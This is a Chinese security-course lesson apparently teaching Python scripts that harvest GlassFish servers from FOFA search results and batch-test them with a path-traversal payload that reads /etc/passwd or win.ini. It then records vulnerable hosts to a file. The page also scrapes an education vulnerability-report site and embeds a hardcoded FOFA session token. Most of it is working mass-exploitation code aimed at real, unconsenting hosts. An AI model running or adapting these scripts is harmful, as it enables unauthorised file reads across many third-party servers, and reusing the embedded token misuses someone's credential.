77 Python开发-批量Fofa&SRC提取&POC验证

目录

    • 本课知识点:
    • 学习目的:
    • 演示案例:
      • Python开发-某漏洞POC验证批量脚本
      • Python开发-Fofa搜索结果提取采集脚本
      • Python开发-教育SRC报告平台信息提取脚本
    • 涉及资源:

本课知识点:

Request爬虫技术,lxml数据提取(把一些可以用的或者有价值的数据进行提取和保存),异常护理,Fofa等使用说明

学习目的:

掌握利用公开或0day漏洞进行批量化的收集及验证脚本开发

演示案例:

Python开发-某漏洞POC验证批量脚本

访问验证漏洞地址之后,看是否能够进行读取,能,就可以进行操作

http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd 
etc/passwd 是linux系统
如果是Windows就改成/windows/win.ini,然后在fofa上搜索相应的关键字(中间件+端口+国家):

利用python访问之后,就可以判断漏洞是否存在

import requests  #  安装:pip install requests
 
"""
 1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/'         # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'        # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统
 
# data_linux = requests.get(url+payload_linux)                # 使用requests模块的get方法请求网站获取网站源代码
# data_windows = requests.get(url+payload_windows)            # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8'))                   # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))
 
data_linux = requests.get(url+payload_linux).status_code       # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code   # 获取请求后的返回状态码
print(data_linux)
print(data_windows)
 
if data_linux == 200 or data_windows == 200:   # 判断状态码,200漏洞存在否则不存在
    print("yes")
else:
    print("no")

Python开发-Fofa搜索结果提取采集脚本

如何实现这个漏洞批量化:
1.获取到可能存在漏洞的地址信息-借助Fofa进行获取目标
1.2 将请求的数据进行筛选
2.批量请求地址信息进行判断是否存在-单线程和多线程

先利用fofa搜索资料
77 Python开发-批量Fofa&SRC提取&POC验证_第1张图片
单次请求看到的就是这些东西,这个是python请求完之后,看到的东西,我们在里面要把我们想要的东西筛选出来,因为这里面我们有些东西不需要
77 Python开发-批量Fofa&SRC提取&POC验证_第2张图片
python脚本筛选可能目标的操作,涉及到lxml数据提取

import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml

search_data = '"glassfish" && port="4848" && country="CN"'                    # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64='                                     # fofa网站的url?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")  # 把我们的搜索关键字加密成base64字符串
urls = url + search_data_bs                                                   # 拼接网站url
result = requests.get(urls).content                                           # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
etree = html.etree                                                            # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
print(urls)
print(result.decode('utf-8'))

我们接下来要筛选出https://

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml

# 第1页   && country="CN"
search_data = '"glassfish" && port="4848"'                    # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64='                                     # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")  # 把我们的搜索关键字加密成base64字符串
urls = url + search_data_bs                                                   # 拼接网站url
result = requests.get(urls).content                                           # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
etree = html.etree                                                            # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
print(urls)
# print(result.decode('utf-8'))                                                  # 查看返回结果
soup = etree.HTML(result)                                                     # result.decode('utf-8') 请求返回的HTML代码
ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href')   # 公式://标签名称[@属性='属性的值']  ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)
# set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重
ipdata = '\n'.join(set(ip_data))                                              # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)
print(ipdata,type(ipdata))
 
with open(r'ip.txt','a+') as f:                                               # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
    f.write(ipdata)                                                           # write() 方法写入数据
    f.close()                                                                 # close() 关闭保存文件

这个就是我们刚才提取到的目标地址,请求单页的
77 Python开发-批量Fofa&SRC提取&POC验证_第3张图片
接下来我们要实现翻页的操作,翻页需要登录账号,不是代码能解决的问题
77 Python开发-批量Fofa&SRC提取&POC验证_第4张图片
我们登录,抓个包,获取用户cookie,request加上头部文件就能载入
77 Python开发-批量Fofa&SRC提取&POC验证_第5张图片
脚本在读取的时候有时候会漏掉一两条数据,这个时候要加异常,而且要延迟一下,因为你速度过快的话,你这个程序在跑的时候,明明这个网站很慢,但是程序不会等待它运行完之后,进行操作,所以我们在操作的时候尽量给个延迟和异常处理,你先尝试正常访问,然后在给它加个延迟和异常处理

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml
import time

# 循环切换分页
search_data = '"glassfish" && port="4848"'                                        # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64='                                         # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")      # 把我们的搜索关键字加密成base64字符串
headers = {                                                                       # 请求的头部,用于身份验证
    'cookie':'fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2NzgzNTkxOTR9.6TcINucthbtdmQe3iOOwkzJCoaRJWcfWzMoTq-886pCOPz9VKAWCqmi9eOvLRj4o8SBn9OlthV3V7Iqb_7uLUw;'
}
# 这里就是遍历9页数据,如果需要更多也可以把数字改大
for yeshu in range(1,10):                                                         # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身
    try:
        # print(yeshu) # 1,2,3,4,5,6,7,8,9
        urls = url + search_data_bs +"&page="+ str(yeshu) +"&page_size=10"      # 拼接网站url,str()将元素转换成字符串,page页数, page_size每页展示多少条数据
        print(f"正在提取第{yeshu}页数据")
        # urls 请求的URL    headers 请求头,里面包含身份信息
        result = requests.get(urls,headers=headers).content                           # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
        etree = html.etree                                                            # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
        print(urls)
        # print(result.decode('utf-8'))                                               # 查看返回结果
        soup = etree.HTML(result)                                                     # result.decode('utf-8') 请求返回的HTML代码
        ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href')  # 公式://标签名称[@属性='属性的值']  ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)
        # set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重
        ipdata = '\n'.join(set(ip_data))                                              # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)
        time.sleep(0.5)                                                               #  time.sleep(0.5) 阻塞0.5秒,让程序不要执行太快不然容易报错
        if 'http' in ipdata:                                 # 判断ipdata中如果存在http这个字符就说明,有数据
            print(f"第{yeshu}页数据{ipdata}")
            with open(r'ip.txt','a+') as f:                                               # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                f.write(ipdata)                                                           # write() 方法写入数据
                f.close()                                                                 # close() 关闭保存文件
    except Exception as e:
        pass

数据提出了之后,我们就可以进行刚才的漏洞利用,在同级目录下创建 check_vuln.py,写入如下代码

import requests,time
 
def poc_check():
    payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    for ip in open('ip.txt'):               # ip.txt 就是刚才我们通过fofa提取出来的目标网站ip
        ip = ip.replace('\n', '')           # replace() 方法替换字符串,将换行替换为空
        try:
            print(f"正在检测:{ip}")
            # requests模块是用来发送网络请求的 .get() 发送get请求    status_code获取请求之后的状态码,200正常发送说明存在漏洞
            vuln_code_l = requests.get(ip + payload_linux).status_code           # 发送检测linux系统的请求,因为我们现在也不知道目标是什么操作系统所以都发送试试
            vuln_code_w = requests.get(ip + payload_windows).status_code         # 发送检测windows系统的请求
            print(vuln_code_l,vuln_code_w)
            if vuln_code_l == 200 or vuln_code_w == 200:                       # 判断当前网站是否存在漏洞
                # print(poc_data.content.decode('utf-8'))
                print("-----------")
                with open(r'vuln.txt','a') as f:                             # 将存在漏洞的网站url存入本地文件中
                    f.write(ip+'\n')                                            # write()文件写入方法,\n 换行让一个url占一行
                    f.close()
            time.sleep(0.5)
        except Exception as e:
            print(e)
 
if __name__ == '__main__':
    poc_check()

我们再写代码的时候要先测试一下,看有没有小问题

这里将漏洞验证POC脚本跟url提取脚本混合在一起,然后优化一下

import requests  # requests模块是用来发送网络请求的  安装:pip install requests
import base64
from lxml import html  # lxml 提取HTML数据,安装:pip install lxml
import time
import sys

def fofa_search(search_data:str,page:int,cookie:str=''):
    """
    批量收集使用了应用服务器glassfish的网站IP的批量化函数
    :param search_data: 接收fofa的搜索关键字
    :param page: 接收fofa的数据读取页数
    :param cookie: 接收fofa的登录后的cookie用于身份验证
    :return: Nono
    """
    url = 'https://fofa.info/result?qbase64='                                         # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
    search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")      # 把我们的搜索关键字加密成base64字符串
    if cookie =='':                                                                   # 如果没有传入cookie就使用默认的
        cookie = 'fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2NzgzNTkxOTR9.6TcINucthbtdmQe3iOOwkzJCoaRJWcfWzMoTq-886pCOPz9VKAWCqmi9eOvLRj4o8SBn9OlthV3V7Iqb_7uLUw;'
 
    headers = {                                                                       # 请求的头部,用于身份验证
        'cookie':cookie
    }
    # 这里就是遍历9页数据,如果需要更多也可以把数字改大
    for yeshu in range(1,page+1):                                                     # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身
        try:
            # print(yeshu) # 1,2,3,4,5,6,7,8,9
            urls = url + search_data_bs +"&page="+ str(yeshu) +"&page_size=10"         # 拼接网站url,str()将元素转换成字符串,page页数, page_size每页展示多少条数据
            print(f"正在提取第{yeshu}页数据")
            # urls 请求的URL    headers 请求头,里面包含身份信息
            result = requests.get(urls,headers=headers).content                        # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
            etree = html.etree                                                         # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
            print(urls)
            # print(result.decode('utf-8'))                                            # 查看返回结果
            soup = etree.HTML(result)                                                  # result.decode('utf-8') 请求返回的HTML代码
            ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href')  # 公式://标签名称[@属性='属性的值']  ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)
            # set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重
            ipdata = '\n'.join(set(ip_data))                                           # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)
            time.sleep(0.5)                                                            #  time.sleep(0.5) 阻塞0.5秒,让程序不要执行太快不然容易报错
            if ipdata == '':                                                           # 我的fofa账号就是普通的账号,没开通会员可以查看上网数据有限,所以这里写个判断
                print(f"第{yeshu}页数据,提取失败数据为空,没有权限")
            else:
                print(f"第{yeshu}页数据{ipdata}")
                # with open 语法 会在文件操作完成后自动关闭文件,就相当自动执行 f.close() 方法
                with open(r'ip.txt','a+') as f:                           # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
                    f.write(ipdata)                                                    # write() 方法写入数据
        except Exception as e:
            pass
"""
 2、批量检测网站是否存在应用服务器glassfish任意文件读取漏洞
"""
def check_vuln():
    """
    批量检测ip.txt文件中网站是否存在漏洞,收集起来放入vuln.txt中
    :return: None
    """
    payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
    for ip in open('ip.txt'):                               # ip.txt 就是刚才我们通过fofa提取出来的目标网站ip
        ip = ip.replace('\n', '')                                        # replace() 方法替换字符串,将换行替换为空
        try:
            print(f"正在检测:{ip}")
            # requests模块是用来发送网络请求的 .get() 发送get请求    status_code获取请求之后的状态码,200正常发送说明存在漏洞
            vuln_code_l = requests.get(ip + payload_linux).status_code    # 发送检测linux系统的请求,因为我们现在也不知道目标是什么操作系统所以都发送试试
            vuln_code_w = requests.get(ip + payload_windows).status_code  # 发送检测windows系统的请求
            print(vuln_code_l, vuln_code_w)
            if vuln_code_l == 200 or vuln_code_w == 200:                  # 判断当前网站是否存在漏洞
                # print(poc_data.content.decode('utf-8'))
                with open(r'vuln.txt', 'a') as f:                         # 将存在漏洞的网站url存入本地文件中
                    f.write(ip + '\n')                                    # write()文件写入方法,\n 换行让一个url占一行
            time.sleep(0.5)
        except Exception as e:
            print(e)
 
if __name__ == '__main__':
    try:
        search = sys.argv[1]        # 接收外部传进来的第一个参数,搜索的参数
        page = sys.argv[2]          # 接收外部传进来的第二个参数,搜索的页数
        fofa_search(search,int(page))  # 批量收集网站ip
    except Exception as e:          # 如果没有在外部传入两参数,就会报错
        search = '"glassfish" && port="4848" && country="CN"'                                        # 搜索的关键字, country 查询的国家 CN 中国
        page = 10
        fofa_search(search,page)    # 手动传入参数
 
    check_vuln()                    # 批量检测网站是否存在漏洞

Python开发-教育SRC报告平台信息提取脚本

import requests
from lxml import html
 
# 从教育漏洞报告平台中提取之前网络安全的前辈提交的漏洞报告
etree = html.etree                                                      # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
def src_tiqu(yeshu):
    for i in range(1,yeshu + 1 ):
        url='https://src.sjtu.edu.cn/list/?page='+str(i)                 # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身
        print(f'正在读取第{i}页数据')
        data = requests.get(url).content                                 # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
        # print(data.decode('utf-8'))     # 请求返回的HTML代码
        soup = etree.HTML(data)
        result = soup.xpath('//td[@class="am-text-center"]/a/text()')    # 提取符合标签为td属性class值为am-text-center这个标签内的a标签text()a标签的值/内容
        results = '\n'.join(result).split()                              # join()将指定的元素以\n换行进行拆分在拼接   split()方法不传参数就是清除两边的空格
        print(results)
        for edu in results:                                              # 遍历results列表拿到每一项
            # print(edu)
            with open(r'src_edu.txt', 'a+', encoding='utf-8') as f:      # open()打开函数  with open打开函数与open()的区别就是使用完成后会自动关闭打开的文件 a+:以读写模式打开,如果文件不存在就创建,以存在就追加  encoding 指定编码格式
                f.write(edu + '\n')
 
if __name__ == '__main__':                                               # __main__ 就是一个模块的测试变量,在这个判断内的代码只会在运行当前模块才会执行,在模块外部引入文件进行调用是不会执行的
    yeshu = int(input("您要爬取多少页数据:"))
    src_tiqu(yeshu)

edusrc网站是访问非常快的网站,不会出现那些错误问题,提的很正常

知道这个网站曾经报过漏洞,而且这些信息不仅在你后期src挖掘过程中,而且你可以做一些漏洞公告,权威的统计信息

涉及资源:

https://www.secpulse.com/archives/42277.html

你可能感兴趣的:(小迪安全,python,开发语言)